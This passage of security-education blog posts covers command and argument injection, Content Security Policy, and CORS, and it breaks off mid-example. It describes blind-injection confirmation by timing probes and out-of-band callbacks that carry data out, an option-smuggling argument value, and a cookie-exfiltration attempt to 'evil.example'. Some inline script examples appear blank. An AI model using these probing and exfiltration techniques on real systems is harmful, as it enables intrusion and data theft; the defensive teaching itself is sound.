- **Indirect parameters.** An option flag, a format string, or a file path passed to an external tool can be abused even without classic separators, by smuggling in the tool's own dangerous options. This is argument injection, a close relative covered below.
The recurring lesson is that you cannot secure command execution by guarding one field. You secure it by never sending any untrusted value through a shell, wherever that value came from.
## Argument injection: the quieter cousin
Switching to an argument-array API removes the shell, which stops the classic metacharacter breakout. It does not automatically stop a subtler problem: an attacker who controls one argument can sometimes abuse the target program's own options.
Suppose an application runs a known program with an argument array and inserts a user-supplied value as one argument. No shell is involved, so a semicolon in that value is inert. But if the user-supplied value begins with a dash, the program may interpret it as an option rather than as data. Many command-line tools have options that read or write files, execute helpers, or change behavior in ways an attacker can exploit. Feeding such a tool an argument like `--output=/path/to/somewhere` or an option that triggers command execution turns a single controllable argument into a foothold, all without any shell metacharacter.
The defenses are specific. Where a tool supports it, use the `--` separator that marks the end of options, so everything after it is treated as a positional argument rather than a flag. Validate that a value which should be a hostname, a filename, or a number actually matches that shape before it becomes an argument. And prefer passing data through mechanisms that cannot be confused with options, such as standard input or an explicit file argument you construct yourself. Argument injection is why "I used an argument array" is necessary but not the whole story when the argument value is attacker-controlled.
## How to detect command injection
Finding these bugs combines reading code for the dangerous pattern with probing a running system for its side effects.
- **Search the codebase for shell-invoking calls.** Grep for the functions and patterns in your language that spawn a shell or run a command line, then check whether any argument is built from input. Concatenation of a variable into a command string is the signature to hunt for. This weakness is catalogued as CWE-78, Improper Neutralization of Special Elements used in an OS Command.
- **Timing probes.** Inject a value that, if it reached a shell, would run a command that sleeps for a fixed number of seconds. A response that consistently slows by that amount confirms execution even when nothing is returned. Vary the delay to rule out coincidence.
- **Out-of-band callbacks.** Inject a value that would make the server perform a DNS lookup or HTTP request to a host you control. An arriving callback proves execution, and the hostname or path can carry small pieces of data out. This works precisely when the response body shows nothing.
- **Differential responses.** Where output is hidden but an error or status leaks, make the success or failure of the request depend on the answer to a yes-or-no question about the system, then read the answer from the difference in responses.
- **Output redirected into the web root.** In a visible-filesystem setup, an attacker can redirect a command's output into a file under the web root and then request that file over HTTP. Seeing such a request pattern in logs, a write into a served directory followed by a fetch, is a strong signal.
The unifying idea for detection is that confirmed execution of even one harmless command, a sleep or a network callback, proves the vulnerability, because a process that will run one attacker-chosen command will run any of them.
## Command injection compared to related bugs
Several vulnerability classes get grouped under "injection," and separating them clarifies both the mechanism and the fix.
| Vulnerability | Interpreter abused | Primary fix |
|---|---|---|
| OS command injection | The system shell | Argument-array execution, no shell |
| Argument injection | The target program's option parser | End-of-options `--`, shape validation |
| SQL injection | The database query planner | Parameterized queries |
| Code injection | A language interpreter, via eval-like calls | Never evaluate untrusted input as code |
| Server-side template injection | A template engine | Keep user input out of template source |
The pattern across the whole table is one disease with different interpreters. Each bug comes from untrusted data reaching a component that parses text as instructions, and each is cured by keeping the data out of the instruction stream for that specific interpreter. If your team already forbids string-built SQL, the same reasoning extends directly to string-built shell commands, template source, and code passed to an evaluator.
## Common mistakes
**Blocklisting characters instead of allowlisting input.** Enumerating dangerous characters is a losing game: the list is long, shells differ, and encoding or alternate syntax routinely slips past. Constrain input to a strict shape of what is valid and reject everything else.
**Assuming an argument array is automatically safe.** It removes the shell, which is the main fix, and it does not stop argument injection when the attacker-controlled value can pose as an option. Add the end-of-options marker and validate the value's shape.
**Escaping instead of separating.** Trying to escape metacharacters so a string is safe to hand to a shell is fragile and easy to get wrong across shells and locales. Removing the shell entirely is both simpler and more reliable than escaping for it.
**Trusting stored or second-hand input.** A value that was safe to store is still untrusted when it is later concatenated into a command. The trust boundary is the shell call, wherever the value came from.
**Treating hidden output as safety.** No visible output does not mean no channel. Timing, out-of-band callbacks, and redirected files all exfiltrate results from blind injection. The absence of output is not the absence of exploitation.
## Frequently asked questions
**What is OS command injection in one sentence?**
It is a vulnerability where user input is placed into a command that a system shell runs, letting an attacker append their own commands to the one the application intended and execute them with the application's privileges.
**Why is calling a shell the root cause?**
The shell is a language interpreter. When it receives a string it parses that string for structure, treating characters like `;`, `|`, and backticks as separators and substitutions rather than as data. The application cannot mark part of the string as inert, so once the shell parses the line the injected text has become code. Removing the shell removes the interpreter the attack depends on.
**Does input validation alone fix command injection?**
Validation reduces risk and is worth doing, and it is not the primary fix on its own. Attackers evade character blocklists with encoding and alternate syntax, and validation logic can have gaps. The reliable fix is to run programs directly with an argument array so no shell parses the input, with allowlist validation layered on top.
**What is the difference between command injection and SQL injection?**
They are the same class of bug with different interpreters. Command injection abuses the system shell; SQL injection abuses the database query planner. Both come from mixing untrusted data into text a machine parses as instructions, and both are cured by keeping data out of the instruction stream: argument arrays for commands, parameterized queries for SQL.
**How do I exploit or confirm blind command injection with no output?**
Confirm it through side channels. Inject a command that sleeps for a fixed time and watch for a matching delay in the response, or inject one that makes the server call out to a host you control and watch for the DNS or HTTP callback. Either result proves execution without any output, and the callback channel can also carry data out.
**Is switching to an argument-array API always enough?**
It ends the classic shell-metacharacter attack, which is the main win. Watch for two residual issues: a shell sneaking back in because some APIs spawn one when passed a single string or a shell flag, and argument injection where a controllable value poses as an option to the target program. Confirm no shell is invoked, use the end-of-options marker, and validate argument shapes.
**How severe is command injection compared to other web bugs?**
It sits among the most severe because a single confirmed command usually means the attacker can run any command the application process can, which is the definition of remote code execution. From there an attacker can read secrets, move deeper into the network, install persistence, and pivot to other systems. That is why it is treated as a top-severity finding whenever it is present, and why the direct fix of removing the shell is worth prioritizing over partial mitigations.
**Why prefer a native library over shelling out at all?**
Most tasks that people spawn commands for, such as DNS lookups, file operations, and image processing, have an in-process library that does the same job with no command line involved. Using it removes the shell, the argument-parsing surface, and the process-spawn overhead in one move. Shelling out should be the last resort, reserved for tools with no library equivalent, and even then only through an argument array.
Command injection is severe but genuinely avoidable. The whole vulnerability rests on handing user input to a shell, so the whole fix is to stop doing that: run programs directly with argument arrays, prefer native libraries over shelling out, allowlist the input, and drop privileges. Do those and the metacharacters that would have broken out have nothing left to break out of.
## Related guides
- [SQL Injection Explained](/sql-injection-explained)
- [Path Traversal Explained](/path-traversal-explained)
- [Input Validation Guide](/input-validation-guide)
- [OWASP Top 10 Explained](/owasp-top-10-explained)
- [Secure Coding Practices](/secure-coding-practices)
### Sources
- OWASP: Command Injection (OWASP): https://owasp.org/www-community/attacks/Command_Injection
- PortSwigger Web Security Academy: OS Command Injection (PortSwigger): https://portswigger.net/web-security/os-command-injection
- OWASP OS Command Injection Defense Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html
---
## Content Security Policy Explained: Stopping XSS with CSP
> How Content Security Policy works: the directives that matter, how it blocks XSS and injection, nonces vs hashes, and a safe report-only rollout.
- URL: https://blog.pwnsy.com/content-security-policy-explained
- Date: 2026-07-24
- Updated: 2026-07-24
- Difficulty: intermediate
- Category: web-security
- Tags: csp, web-security, xss, security-headers, appsec
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- Content Security Policy is an allowlist the browser enforces: you declare which sources of script, style, and other content are legitimate, and the browser refuses everything else.
- Its main job is to stop cross-site scripting from executing, so an injected script has no permitted source and never runs.
- A strong modern policy is built on nonces or hashes for scripts rather than the 'unsafe-inline' keyword, which defeats the point.
- Roll it out in Content-Security-Policy-Report-Only first, read the violation reports, then switch to enforcing once the noise is gone.
### Key Takeaways
- CSP is delivered as a response header (or a meta tag) and lists source expressions per directive, with default-src acting as the fallback.
- script-src is the security-critical directive: 'self' plus a per-request nonce blocks injected inline scripts while allowing your own.
- A nonce is a random value regenerated on every response; a hash pins the exact bytes of a known inline script. Both let you drop 'unsafe-inline'.
- frame-ancestors controls who may embed your page and replaces the older X-Frame-Options header for clickjacking defense.
- Report-Only mode and a reporting endpoint let you tune a policy against real traffic before it can break anything.
A cross-site scripting bug lets an attacker run their JavaScript in your users' browsers, with all the access your own scripts have. Content Security Policy is the browser feature that can stop that injected script from running even after the bug has put it on the page. It works as an allowlist. You tell the browser exactly which sources of script, style, images, and other content are legitimate, and the browser blocks everything outside that list.
CSP is a defense-in-depth control. It does not fix the injection flaw that let the payload onto the page. It removes the payload's ability to do anything once it lands, which is often the difference between a logged alert and a stolen session. (Fix the injection too; CSP is the safety net under it.)
## What a policy looks like
A policy travels in the `Content-Security-Policy` response header. It is a set of directives, each naming a resource type and the sources allowed for it, separated by semicolons.
```
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'
```
Each directive takes a list of source expressions. Common ones are `'self'` (the page's own origin), an explicit host like `https://cdn.example.com`, the keywords `'none'` and `'unsafe-inline'`, a scheme like `data:`, and the nonce and hash forms covered below. The `default-src` directive is the fallback: any fetch directive you do not set explicitly inherits from it, so a tight `default-src 'self'` gives you a sane baseline before you loosen individual pieces.
## The directives that matter
You do not need every directive. A handful carry most of the security value.
| Directive | What it controls | Typical value |
|---|---|---|
| default-src | Fallback for most fetch directives | `'self'` |
| script-src | Where scripts may load and run from | `'self'` plus a nonce |
| style-src | Where stylesheets may load from | `'self'` |
| img-src | Image sources | `'self' data:` |
| connect-src | Targets for fetch, XHR, WebSocket | `'self' https://api.example.com` |
| frame-ancestors | Who may embed this page in a frame | `'none'` or `'self'` |
| base-uri | Allowed values for the page base URL | `'self'` |
| form-action | Where forms may submit | `'self'` |
| object-src | Plugin content | `'none'` |
| report-to | Where violation reports are sent | a named reporting endpoint |
Two of these blunt attacks that have nothing to do with script loading. `frame-ancestors 'none'` stops your page from being framed, which is the modern replacement for the `X-Frame-Options` header and the core clickjacking defense. `base-uri 'self'` stops an injected base tag from silently redirecting every relative URL on the page to an attacker's host.
## How CSP stops XSS
Reflected and stored XSS both work by getting the browser to treat attacker data as executable script. CSP breaks that in a few ways at once. Inline event handlers and inline script blocks are refused unless they carry a matching nonce or hash. `eval` and its relatives are refused unless you opt in with `'unsafe-eval'`. Scripts loaded from an origin not on the allowlist are refused outright. An attacker who injects `` finds it has no permitted source, so the browser never executes it and files a violation report instead.
The weak point is `'unsafe-inline'`. If your `script-src` includes it, every inline script on the page is allowed, which is exactly what an injected inline payload is. A policy with `'unsafe-inline'` in `script-src` provides almost no XSS protection. The whole modern approach exists to let you keep the inline scripts you wrote while blocking the ones an attacker injects.
## Beyond XSS: containing exfiltration
Blocking the injected script from running is the first win. CSP also limits the damage when script does run, which matters against payloads that arrive through a route CSP cannot stop, such as a compromised third-party dependency. The `connect-src` directive is the lever here. It controls where the page may open network connections, so even a script that executes cannot phone stolen data home to an attacker's server unless that host is on the allowlist. A tight `connect-src 'self' https://api.example.com` turns "steal the session and POST it out" into a blocked request.
Two more directives clean up common weaknesses. `form-action 'self'` stops an injected form from submitting credentials to an external host. `upgrade-insecure-requests` rewrites any stray `http://` subresource to `https://` before it is fetched, closing passive mixed-content leaks. None of these replace fixing the injection, and together they shrink the blast radius of the ones you miss.
## Nonces versus hashes
There are two ways to allow specific inline scripts without opening the door to all of them.
A **nonce** is a random, unguessable value your server generates fresh on every response. You put it in the header and on each script tag you trust:
```
Content-Security-Policy: script-src 'nonce-r4nd0m2026' 'self'
```
```html
```
The browser runs only scripts whose `nonce` attribute matches the header value. Because the value changes every response and never appears in the page an attacker can pre-read, injected script cannot guess it. The catch is that the value must be genuinely random per response, so nonces suit server-rendered pages.
A **hash** pins the exact content of a known inline script. You compute the SHA-256 of the script bytes and list it:
```
Content-Security-Policy: script-src 'sha256-Base64HashOfTheScript' 'self'
```
The browser hashes each inline script and runs only those whose digest is on the list. Hashes suit static content where the script text does not change, since any edit changes the hash. Nonces suit dynamic pages.
The `'strict-dynamic'` keyword pairs with either. It says that a script already trusted by a nonce or hash may load further scripts, and the browser should trust those by propagation rather than by host allowlist. This lets a modern bundler load its chunks without you enumerating every CDN path, while injected script, which is never trusted in the first place, gets no such propagation.
Adding `'unsafe-inline'` to `script-src` allows every inline script, which is exactly what an XSS payload becomes. A nonce or hash allowlist gives you the inline scripts you control while still blocking injected ones. Browsers that understand nonces ignore `'unsafe-inline'` when a nonce is present, so you can keep it purely as a fallback for very old clients without weakening current ones.
## Report-Only and a safe rollout
Shipping a strict policy blind will break something: a third-party widget, an inline handler you forgot, a stray CDN. CSP has a mode for exactly this. The `Content-Security-Policy-Report-Only` header applies a policy without enforcing it. Nothing is blocked; every violation is reported. You watch the reports, fix the real gaps, and only then move the policy into the enforcing header.
Reporting is wired up with the `report-to` directive, which names an endpoint defined by a `Reporting-Endpoints` header. The browser posts a JSON report there each time the policy is violated, telling you the blocked resource and the directive that stopped it. In report-only mode this is your tuning signal. In enforcing mode it is your early warning that an injection attempt (or a broken deploy) is happening in production.
A workable sequence:
1. Deploy a strict candidate policy in `Content-Security-Policy-Report-Only`.
2. Collect reports from real traffic for a week or two.
3. Resolve each legitimate violation by adding a nonce, a hash, or a specific source, never by adding `'unsafe-inline'`.
4. Move the tuned policy into the enforcing `Content-Security-Policy` header.
5. Keep a report-only header alongside it to test your next change safely.
Our Exploit Intelligence dashboard tracks live injection and cross-site scripting vulnerabilities and the payloads seen against them, which helps you decide which script and connect sources a strict policy most needs to lock down first.
## A worked example: an injected script meeting a policy
Following one XSS payload as it hits a strict policy makes the mechanism concrete. Suppose an attacker finds a reflected injection point and manages to place `` into the rendered page. The page ships with this header:
```
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-a1b2c3'; connect-src 'self' https://api.example.com; object-src 'none'; base-uri 'self'
```
Walk through what the browser does with the injected tag.
1. **The script has no permitted source.** The policy's `script-src` allows scripts from the page's own origin and any inline script carrying the nonce `a1b2c3`. The injected inline script carries no nonce, because the attacker never saw the per-response value. It matches neither allowed form.
2. **The browser refuses to execute it.** Since the inline script is not covered by a nonce, a hash, or `'unsafe-inline'` (which the policy deliberately omits), the browser does not run it. The payload sits in the DOM as inert text.
3. **A violation report fires.** The browser records that `script-src` blocked an inline script and, if a reporting endpoint is configured, posts a report describing the violation. In production that report is an early warning that an injection attempt is happening.
4. **Even a successful script would be contained.** Imagine the attacker instead smuggled their code into a route CSP cannot stop, such as a trusted script that was itself compromised. The `connect-src` directive still allows connections only to the page's origin and one named API host. The attempt to `fetch` the cookie to `evil.example` is blocked because that host is not on the connect allowlist. The exfiltration fails at the network step.
The example shows CSP working at two layers. First it stops the injected script from ever running. Then, as a fallback for payloads that arrive some other way, it constrains what a running script can reach. An attacker needs to defeat both the script directive and the connection directive to turn an injection into stolen data, which is a much taller order than exploiting the injection alone.
## Detection signals
A deployed policy is also a sensor. The violation reports it generates, and a few related signals, tell you when something is wrong.
- **A spike in script-src violations from real users.** In enforcing mode, a sudden rise in blocked inline scripts often means an active injection attempt in production, or a deploy that shipped an inline script without its nonce. Either way it deserves immediate attention.
- **connect-src violations to unfamiliar hosts.** Reports of blocked connections to domains you do not recognize can indicate a compromised dependency trying to exfiltrate data to a host the policy refuses.
- **A flood of violations right after a release.** A new analytics tag, payment widget, or CDN that the policy was not updated for produces a burst of legitimate violations. This is the signal that a code change outran its policy change.
- **Reports naming a directive you thought was unused.** Violations against base-uri or form-action can surface injection techniques aimed at hijacking relative URLs or redirecting form submissions, which are easy to overlook.
- **Silence where you expected reports.** If a report-only rollout produces no reports at all, verify the reporting endpoint is actually receiving posts. No signal often means broken wiring rather than a clean policy.
The reporting endpoint turns CSP from a static wall into a feedback loop. In report-only mode the reports tune the policy, and in enforcing mode they warn you about both attacks and broken deploys.
## Common mistakes
CSP is easy to deploy in a way that looks protective and is not. The recurring errors:
- **Leaving `'unsafe-inline'` in `script-src`.** This single keyword allows every inline script, which is exactly what an injected payload becomes. A policy with it provides almost no XSS protection, whatever else it contains.
- **Allowlisting a whole CDN that hosts everything.** Permitting a broad host that serves arbitrary user or library content can let an attacker load a script from a path on that same host, defeating the allowlist. Narrow sources beat broad ones.
- **Forgetting the non-script directives.** A policy that locks down scripts but leaves `object-src`, `base-uri`, `frame-ancestors`, and `form-action` unset leaves open lanes for plugin content, base-tag hijacking, clickjacking, and form exfiltration.
- **Reusing a nonce across responses.** A nonce only works if it is random and fresh every response. A static or predictable nonce is guessable, and an injected script can simply include it, which collapses the protection.
- **Treating CSP as the fix for XSS.** CSP is defense in depth. It does not repair the injection flaw. Output encoding and input validation still have to fix the bug; CSP is the safety net for the cases those miss.
- **Enforcing a strict policy without a report-only trial.** Shipping straight to enforcement almost always breaks a legitimate widget or inline handler. The report-only stage exists to find those against real traffic before anything is blocked.
## How CSP relates to other header defenses
CSP overlaps with several older security headers, and knowing which it replaces avoids redundant or conflicting configuration.
| Protection | Older mechanism | CSP equivalent |
|---|---|---|
| Clickjacking (framing control) | X-Frame-Options | frame-ancestors |
| Mixed-content upgrade | manual rewriting | upgrade-insecure-requests |
| Restricting where scripts load | none, relied on code review | script-src with nonces or hashes |
| Limiting outbound connections | none | connect-src |
| Restricting form targets | none | form-action |
The `frame-ancestors` directive is the clearest case: it supersedes `X-Frame-Options` and is more expressive, letting you name multiple permitted ancestors. Where a modern CSP directive exists, it is generally the one to rely on, with the legacy header kept only as a fallback for very old clients that do not understand CSP.
## How it evolved
CSP grew out of a simple observation: escaping output stops most XSS, and the rest slips through, so browsers needed a second line that could refuse injected script even after a bug put it on the page. The earliest version leaned on host allowlists, telling the browser which origins could serve scripts. That worked for cleanly separated sites and struggled with the reality of inline scripts and event handlers, which host allowlists cannot distinguish from injected ones.
The answer was nonces and hashes, which let a page mark the specific inline scripts it trusts while refusing everything else, so a site could keep its own inline code and still block an attacker's. Layered on top, the `'strict-dynamic'` keyword let a trusted script load its own further scripts by propagation, which fit how modern bundlers actually work and removed the need to enumerate every CDN path. The direction of travel across versions has been consistent: away from brittle host allowlists and toward trusting explicit, per-response markers, because that is what actually separates first-party script from injected script.
Reporting matured alongside enforcement. The report-only header and a structured reporting endpoint turned policy authoring from guesswork into a measured rollout, where a candidate policy is tested against live traffic and tuned before it can break anything. That workflow is now the standard way a strict policy reaches production.
## How to secure it
- **Start from `default-src 'self'`** and open only the specific directives you need. A tight fallback means a directive you forget still fails closed.
- **Build `script-src` on nonces or hashes**, never `'unsafe-inline'`. Add `'strict-dynamic'` if a bundler needs to load its own chunks.
- **Set the non-script directives too.** `frame-ancestors 'none'` for clickjacking, `base-uri 'self'` to block base-tag hijacking, `object-src 'none'` to kill legacy plugin vectors, `form-action 'self'` to stop form exfiltration.
- **Add a reporting endpoint** and read what comes back, in both report-only and enforcing modes.
- **Roll out in report-only first.** Tune against real traffic, then enforce.
- **Treat CSP as a layer, not the fix.** Keep escaping output and validating input. CSP catches what those miss.
- **Review the policy when the app changes.** A new analytics tag, payment widget, or CDN adds a source your policy will block. Fold CSP into your release checklist so a legitimate change ships with its source, tested first in report-only.
A good policy is boring to read and quietly refuses everything you did not sanction. Get the script directive right, wire up reporting, and roll it out through report-only, and CSP turns a working XSS bug into a blocked request and a log line.
## Frequently asked questions
**Does CSP fix cross-site scripting?**
No, it contains it. CSP does not repair the injection flaw that let a payload onto the page. It stops that payload from executing and limits what it can reach if it does run. Output encoding and input validation still have to fix the underlying bug. CSP is the defense-in-depth layer that catches the cases those miss.
**Should I use a nonce or a hash?**
Use a nonce for server-rendered pages where you can generate a fresh random value on every response, which is the common case. Use a hash for static inline scripts whose text never changes, since any edit changes the hash. Both let you drop `'unsafe-inline'` and allow only the specific inline scripts you trust. The deciding factor is whether the content is dynamic or static.
**Why is `'unsafe-inline'` so harmful in script-src?**
Because it allows every inline script on the page, and an injected XSS payload is an inline script. A policy that includes it in `script-src` gives an attacker's inline code the same permission as your own, which removes almost all of CSP's XSS value. Browsers that understand nonces ignore `'unsafe-inline'` when a nonce is present, so you can keep it only as a fallback for very old clients.
**Can I add CSP with a meta tag instead of a header?**
You can deliver a policy through a meta tag, and it has limits. Some directives, notably `frame-ancestors` and the reporting directives, only work when the policy arrives as a response header. The header is the more capable and recommended delivery method, with the meta tag reserved for cases where you cannot set headers.
**Will CSP break my third-party widgets?**
It can, if their sources are not on your allowlist, which is exactly why the report-only rollout exists. Deploy the policy in report-only mode first, watch the violation reports for legitimate widgets and CDNs, and add their specific sources before you enforce. Resolve each real violation with a nonce, a hash, or a narrow source, never by adding `'unsafe-inline'`.
**What does `connect-src` protect against that `script-src` does not?**
`script-src` stops an injected script from running. `connect-src` limits where any running script may open network connections, so even a script that executes through some route CSP could not block cannot send stolen data to an arbitrary host. It is the containment layer that turns a successful injection into a blocked exfiltration request.
**Does `frame-ancestors` replace X-Frame-Options?**
Yes, for browsers that support it. `frame-ancestors` controls who may embed your page and is more expressive than `X-Frame-Options`, allowing multiple named ancestors. Keep `X-Frame-Options` only as a fallback for very old clients that do not understand the CSP directive.
**What does `'strict-dynamic'` actually do?**
It says a script already trusted by a nonce or hash may load further scripts, and the browser should trust those by propagation rather than by checking them against the host allowlist. This lets a modern bundler pull in its own chunks without you enumerating every path, while injected script, which is never trusted in the first place, receives no such propagation and is still blocked.
## Related guides
- [HTTP Security Headers Reference](/http-security-headers-reference)
- [XSS Attacks Explained](/xss-attacks-explained)
- [Clickjacking Explained](/clickjacking-explained)
- [HSTS Explained](/hsts-explained)
### Sources
- Content Security Policy Level 3 (W3C): https://www.w3.org/TR/CSP3/
- Content Security Policy Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html
- OWASP Secure Headers Project (OWASP): https://owasp.org/www-project-secure-headers/
---
## CORS Explained: The Same-Origin Policy & How to Relax It
> How the same-origin policy protects users, how CORS shares responses across origins, preflight and credentials, and how to configure it safely.
- URL: https://blog.pwnsy.com/cors-explained
- Date: 2026-07-24
- Updated: 2026-07-24
- Difficulty: intermediate
- Category: web-security
- Tags: cors, web-security, same-origin-policy, api-security, appsec
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- The same-origin policy stops JavaScript on one origin from reading responses from another, which is what keeps a random site from reading your logged-in email.
- CORS is the standard way a server opts in to sharing its responses with specific other origins, using response headers the browser checks.
- Some requests trigger a preflight OPTIONS check first, where the browser asks permission before sending the real request.
- The dangerous mistake is combining a reflected Origin with credentialed requests, which lets any site read authenticated responses. Allow a fixed list of origins instead.
### Key Takeaways
- An origin is the triple of scheme, host, and port. Any difference in one makes it a different origin.
- The same-origin policy blocks reading cross-origin responses from script; it does not block the request being sent, which is why CSRF is a separate problem.
- Access-Control-Allow-Origin names the single origin allowed to read the response, and it should echo one entry from your allowlist, never an arbitrary reflected value.
- Preflight is an automatic OPTIONS request the browser sends for non-simple methods, custom headers, or certain content types.
- Access-Control-Allow-Credentials: true cannot be combined with a wildcard origin, and combining it with a reflected origin is an account-takeover risk.
Open your bank in one tab and a stranger's website in another. The stranger's JavaScript cannot read your bank balance, even though both pages run in the same browser with access to the same cookies. The rule that guarantees this is the same-origin policy, and it is one of the load-bearing walls of web security. Cross-Origin Resource Sharing, CORS, is the controlled way to make a hole in that wall when you actually need one.
CORS confuses people because the browser reports its failures as errors on the page making the request, which makes it look like a bug in your frontend. It is a security boundary doing its job. Understanding what the boundary protects makes the header configuration obvious.
## What an origin is
An origin is the combination of three things: the scheme, the host, and the port. Two URLs share an origin only if all three match. RFC 6454 defines this precisely, and the practical effect is stricter than most people guess.
| URL compared to `https://app.example.com` | Same origin? | Why |
|---|---|---|
| `https://app.example.com/data` | Yes | Path does not affect origin |
| `http://app.example.com` | No | Different scheme |
| `https://api.example.com` | No | Different host |
| `https://app.example.com:8443` | No | Different port |
| `https://example.com` | No | Different host, subdomain counts |
A different subdomain is a different origin. A different port is a different origin. This strictness is the point: it makes the boundary simple to reason about.
## What the same-origin policy actually blocks
The policy is narrower than it first appears. It stops script on origin A from reading responses served by origin B. It does not stop the browser from sending a request to origin B, and it does not stop the browser from attaching origin B's cookies to that request.
That distinction matters. Your page can still submit a form to another origin, load an image from it, or run a script from it. What the page cannot do is read back the response text with JavaScript. So the policy protects the confidentiality of cross-origin responses. It does nothing to stop a cross-origin request from being sent with your credentials, which is precisely why cross-site request forgery is a separate class of bug with its own defenses.
## How CORS relaxes it
When your frontend on one origin needs to read an API on another origin, the server declares that it consents. It does this with response headers the browser inspects before handing the response to your script. The central one is `Access-Control-Allow-Origin`. If your API returns:
```
Access-Control-Allow-Origin: https://app.example.com
```
then a page on `https://app.example.com` is allowed to read that response. A page on any other origin is refused by the browser. The server made a deliberate, narrow grant.
The browser divides cross-origin requests into two kinds. A **simple request** goes straight out, and the browser checks the response headers afterward to decide whether the calling script may read the body. A request counts as simple when it uses `GET`, `HEAD`, or `POST`, carries only a short list of safe headers, and (for `POST`) uses a content type of `application/x-www-form-urlencoded`, `multipart/form-data`, or `text/plain`. Anything outside that set triggers a preflight.
## The preflight check
For requests that could have side effects the browser cannot safely make speculatively (a `PUT`, a `DELETE`, a JSON body, a custom header), the browser sends a preflight first: an `OPTIONS` request that asks the server for permission before the real one goes out.
```
OPTIONS /orders HTTP/1.1
Origin: https://app.example.com
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: authorization, content-type
```
The server answers with what it permits:
```
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, DELETE
Access-Control-Allow-Headers: authorization, content-type
Access-Control-Max-Age: 600
```
Only if the preflight approves the method and headers does the browser send the real request. `Access-Control-Max-Age` lets the browser cache that approval so it does not preflight every call.
| Header | Direction | Purpose |
|---|---|---|
| Origin | Request | The origin making the call |
| Access-Control-Request-Method | Preflight request | The method the real request will use |
| Access-Control-Request-Headers | Preflight request | The headers the real request will send |
| Access-Control-Allow-Origin | Response | The single origin allowed to read the response |
| Access-Control-Allow-Methods | Preflight response | Methods the server permits |
| Access-Control-Allow-Headers | Preflight response | Request headers the server permits |
| Access-Control-Allow-Credentials | Response | Whether cookies and auth may be included |
| Access-Control-Expose-Headers | Response | Which response headers script may read |
| Access-Control-Max-Age | Preflight response | How long to cache the preflight result |
One header on that list surprises people. By default, script on another origin can read only a small set of safe response headers, even after a successful CORS response. If your frontend needs to read a custom header, say a pagination total or a request identifier, the server has to name it in `Access-Control-Expose-Headers`. This is the same allowlist principle running in the other direction: the browser exposes only what the server explicitly permits.
Understanding this also demystifies the errors. When a CORS request fails, the browser blocks your script from reading the response and reports a CORS error in the console of the page that made the call. The request often reached the server and the server often answered; the browser simply refused to hand the answer back because the headers did not grant permission. So the fix is almost always on the server that owns the resource, adjusting the response headers, rather than in the frontend that received the error.
## Credentials change the rules
By default the browser does not send cookies or HTTP auth on cross-origin requests, and it does not expose the response if it did. To include credentials, the frontend opts in (for example `fetch(url, { credentials: 'include' })`), and the server must return `Access-Control-Allow-Credentials: true`.
The specification adds a hard constraint here: when credentials are allowed, `Access-Control-Allow-Origin` may not be the wildcard `*`. It must name a specific origin. This exists to stop a server from accidentally telling every site on the internet that it may read authenticated responses.
Echoing back whatever arrives in the `Origin` request header and pairing it with `Access-Control-Allow-Credentials: true` tells the browser that any site may read authenticated responses from your API. That combination turns CORS into an account-takeover primitive: a malicious page reads a victim's data straight from your API using the victim's own session. Allow only a fixed list of known origins, compare against it exactly, and never reflect an arbitrary origin alongside credentials.
## Common misconfigurations
Most CORS vulnerabilities come from trying to be flexible about which origins to accept. A few patterns recur.
- **Reflecting the Origin header** with credentials, covered above, is the headline mistake and the most dangerous.
- **Trusting the `null` origin.** Some setups add `null` to the allowlist to support local files or sandboxed frames. An attacker can make requests present a `null` origin from a sandboxed iframe, so `Access-Control-Allow-Origin: null` with credentials is effectively a wildcard.
- **Sloppy subdomain matching.** A check that accepts anything ending in `example.com` will also accept `evil-example.com` or `example.com.attacker.net`. Match origins against a precise list, not a loose substring or a weak regex.
- **Wildcard with credentials.** Browsers reject `Access-Control-Allow-Origin: *` when credentials are requested, so some servers "fix" this by reflecting the origin, which reintroduces the first problem. If you need credentials, you need a specific allowlisted origin, full stop.
- **Treating CORS as access control.** A permissive policy does not grant access by itself, and a strict one does not authorize anything. CORS decides which origins may read a browser response. Authentication and authorization on the endpoint are separate and must hold regardless.
## How to configure it safely
The safe pattern is deny-by-default with a short, explicit allowlist.
1. **Keep a fixed list of trusted origins** in configuration. On each request, check the incoming `Origin` against that list. If it matches, echo that exact origin back in `Access-Control-Allow-Origin`. If it does not, send no CORS headers at all.
2. **Add `Vary: Origin`** whenever you set the allow-origin dynamically, so caches do not serve one origin's approval to another.
3. **Never pair credentials with a wildcard or a reflected origin.** If a route needs credentials, it needs a specific, allowlisted origin.
4. **Allow the minimum methods and headers.** List only the methods and request headers your API actually uses, not a permissive catch-all.
5. **Do not treat CORS as authorization.** It controls which origins may read a browser response. It is not a substitute for authentication and access control on the API itself, which must stand on their own.
Our Exploit Intelligence dashboard tracks the real-world API and access-control weaknesses attackers chain together, which is useful context when you decide how tightly to scope the origins, methods, and credentials your endpoints permit.
## A worked example: tracing one preflighted request
Walk through a single call from a frontend on `https://app.example.com` that deletes an order through an API on `https://api.example.com`. The frontend runs `fetch` with method `DELETE`, an `Authorization` header carrying a token, and `credentials: 'include'`.
The `DELETE` method is not on the simple list, and the `Authorization` header is not a safe header, so the browser does not send the delete immediately. It sends a preflight first:
```
OPTIONS /orders/42 HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: authorization
```
